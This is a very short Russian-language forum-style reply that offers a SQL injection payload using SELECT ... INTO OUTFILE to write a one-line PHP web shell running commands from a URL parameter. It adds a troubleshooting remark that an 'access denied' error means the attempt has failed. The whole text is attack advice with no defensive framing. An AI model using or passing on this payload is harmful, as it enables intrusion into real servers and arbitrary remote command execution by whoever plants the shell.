select '<?php system($_GET[cmd]); ?>' into outfile 'path_to_your_shell'
не катит?
Если пишет "access denied to user ...@...", то облом